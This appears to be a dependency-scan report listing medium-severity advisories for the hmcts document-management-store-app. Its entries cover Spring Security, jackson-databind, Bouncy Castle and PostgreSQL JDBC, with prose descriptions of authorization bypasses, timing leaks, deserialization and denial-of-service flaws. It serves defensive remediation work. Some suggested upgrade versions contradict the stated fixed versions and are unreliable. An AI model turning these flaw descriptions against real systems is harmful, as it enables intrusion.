  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.7.14.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@6.5.10.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Information Exposure in the DaoAuthenticationProvider component. An attacker can determine the status of user attributes such as enabled, expired, or locked by analyzing response times, potentially allowing user attribute enumeration through timing analysis.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.5.10, 7.0.5 or higher.

References

medium severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the JdbcOneTimeTokenService component. An attacker can gain unauthorized access to multiple sessions by reusing a single one-time token during authentication.

Note:

This is only exploitable if the application is explicitly configured to use One-Time Token login with JdbcOneTimeTokenService.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.5.10, 7.0.5 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.7.14.

Overview

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.7.14.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of String.toLowerCase() and String.toUpperCase() that have Locale dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType() method of DefaultBaseTypeLimitingValidator, whose denylist of unsafe base types omits java.lang.Comparable, so the method returns true for any subtype resolved under a Comparable base. An attacker can trigger instantiation of arbitrary classes that implement Comparable, such as java.io.File to reach path-traversal primitives, by sending JSON with attacker-controlled type identifiers. This requires the application to use a bare @JsonTypeInfo with the default validator and no explicit PolymorphicTypeValidator, and a property or class whose declared base type is Comparable.

Workaround

This vulnerability can be avoided by configuring an explicit restrictive PolymorphicTypeValidator, such as a BasicPolymorphicTypeValidator allowlist passed to activateDefaultTyping(), instead of relying on the default validator.

Note: The discoverer of this vulnerability reports that "I have not identified a class implementing Comparable that yields code execution purely through deserialization".

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: org.springframework.security:spring-security-oauth2-jose
  • Introduced through: org.springframework.security:spring-security-oauth2-jose@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-jose@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@6.5.10.

Overview

org.springframework.security:spring-security-oauth2-jose is a provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the withIssuerLocation component. An attacker can bypass intended security restrictions by exploiting improper configuration of JWT decoding when a separate OAuth2TokenValidator is not set.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-jose to version 6.5.10, 7.0.5 or higher.

References

medium severity
new

Timing Attack

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2, org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85

Overview

Affected versions of this package are vulnerable to Timing Attack through the GF arithmetic and the fixed-weight support sampler in HQCEngine. An attacker can recover information about the HQC private key by observing cache behavior or decapsulation timing while the code processes secret inputs during encapsulation and decapsulation. The GF(2^8) arithmetic exposes operand-dependent table accesses, and the support sampler’s collision handling and secret-index writes leak information from the key material re-expanded on each decapsulation.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the HttpSessionSecurityContextRepository. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

  • The SecurityContextHolderFilter or requireExplicitSave(true) is in use with logout support for serialized sessions, and invalidateHttpSession(false).

  • Users are logged out manually by saving an empty SecurityContext into the HttpSessionSecurityContextRepository.

  • A custom SecurityContextRepository is in use that does not rely on the HttpSession.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

medium severity

Session Fixation

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the HttpSessionSecurityContextRepository. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

  • The SecurityContextHolderFilter or requireExplicitSave(true) is in use with logout support for serialized sessions, and invalidateHttpSession(false).

  • Users are logged out manually by saving an empty SecurityContext into the HttpSessionSecurityContextRepository.

  • A custom SecurityContextRepository is in use that does not rely on the HttpSession.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core Race condition in the RunAsManager mechanism in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 stores the Authentication object in the shared security context, which allows attackers to gain privileges via a crafted thread.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.bouncycastle:bcpkix-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pdf-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unbounded PBKDF2 parameters in the PBMAC1 key-derivation path in JcePBMac1CalculatorBuilder and PKCS12PBEUtils.createPBMac1Calculator. An attacker can force excessive PBKDF2 work by supplying a crafted PBMAC1- or PKCS#12-wrapped structure with a very large iteration count or derived key length before any password or MAC check runs. This stalls PBMAC1 verification of PKCS#12 PFX and CMP data and can tie up the process on attacker-controlled input.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2, org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-starter@4.3.3 › org.bouncycastle:bcprov-jdk18on@1.85

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the PBEPBKDF2 implementation in prov/src/main/java/org/bouncycastle/jcajce/provider/symmetric/PBEPBKDF2.java. An attacker can force excessive CPU work by supplying a PBES2/PBKDF2 structure or PBEKeySpec with a very large iteration count, causing engineInit or engineGenerateSecret to derive with whatever count it receives. The affected code accepts untrusted counts from encoded parameters and uses them directly for password-based key derivation, so decrypting or generating PBKDF2-protected keys can stall the application before the result is verified.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Restriction Bypass. It does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-config to version 4.1.5.RELEASE, 4.2.4.RELEASE, 5.0.3.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.6.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Spring Security allows remote attackers to bypass security constraints via a path parameter.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.6.RELEASE, 3.0.4.RELEASE or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.8.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Information Exposure. DaoAuthenticationProvider in VMware SpringSource Spring Security does not check the password if the user is not found, which makes the response delay shorter and might allow remote attackers to enumerate valid usernames via a series of login requests.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.8.RELEASE, 3.0.8.RELEASE, 3.1.3.RELEASE or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound when using the BCrypt class with the maximum work factor (31). In such a case, the encoder does not perform any salt rounds due to the overflow.

Note:

The default settings are not affected by this CVE.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.4.11 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.0.0.RELEASE.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via sending multiple requests that initiate the Authorization Request and Authorization Code Grant, which may lead to resource exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.5.1, 5.4.7, 5.3.10.RELEASE, 5.2.11.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.4.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Spring Security allows remote attackers to bypass security constraints via a path parameter.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.0.4.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. It does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-web to version 4.1.5.RELEASE, 4.2.4.RELEASE, 5.0.3.RELEASE or higher.

References

medium severity

Incorrect Authorization

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the BeanDeserializer._deserializeUsingPropertyBased method, whose property-buffering branch omits the prop.visibleInView(activeView) check that the creator-property branch performs. An attacker can populate view-restricted setterless collection or map properties, such as admin-only fields, from untrusted JSON by supplying values for them during deserialization, bypassing @JsonView protection. This affects only setterless collection or map properties annotated with a restricted @JsonView and reached through the property-based creator path.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Incorrect Authorization

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the UnwrappedPropertyHandler.processUnwrappedCreatorProperties() method, which replays buffered JSON into creator parameters without consulting prop.visibleInView(activeView). An attacker can set view-restricted constructor parameters annotated with both @JsonView and @JsonUnwrapped, such as admin-only fields, from untrusted JSON by supplying them during deserialization while a more restrictive view is active, defeating the @JsonView write-side authorization boundary.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@6.5.11.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Open Redirect in the CookieRequestCache function. An attacker can redirect users to arbitrary external sites by crafting a malicious authentication flow that leverages the unvalidated absolute URL stored in the cookie.

Note:

This is only exploitable if all the following conditions are met:

  • The application uses CookieRequestCache (Servlet) or CookieServerRequestCache (WebFlux) as its RequestCache implementation.

  • An attacker is able to influence the value of the REDIRECT_URI cookie, for example through cookie injection via a related subdomain, an HTTP response splitting attack, or a protocol downgrade from HTTPS to HTTP.

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.5.11, 7.0.6 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Information Exposure in the pgjdbc driver, which writes to the operating system's shared temp directory when the InputStream to either PreparedStatement.setText(int, InputStream) or PreparedStatemet.setBytea(int, InputStream) is larger than 2K. The temporary file is readable by other users. This is the default system behavior on Unix systems but not on MacOS.

NOTE: This vulnerability is only fixed for JDK 1.7. Systems using JDK 1.6 or below can work around the vulnerability by setting the environment variable java.io.tmpdir to a non-world-readable location.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.27, 42.3.8, 42.4.3, 42.5.1 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.2.9.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Privilege Escalation. It fails to save the SecurityContext if it has changed more than once in a single request. The SecurityContext can fail to save to the HttpSession if a developer changes the SecurityContext twice in a single request when both of the following conditions are met: First the developer must change the SecurityContext before the HttpResponse is committed and then the HttpResponse must be committed before the SecurityContextPersistenceFilter completes. Then the developer must attempt to change the SecurityContext again before the SecurityContextPersistenceFilter completes. A malicious user cannot cause the bug to happen (it must be programmed in). However, if the application's intent is to only allow the user to run with elevated privileges in a small portion of the application, the bug can be leveraged to extend those privileges to the rest of the application.

Remediation

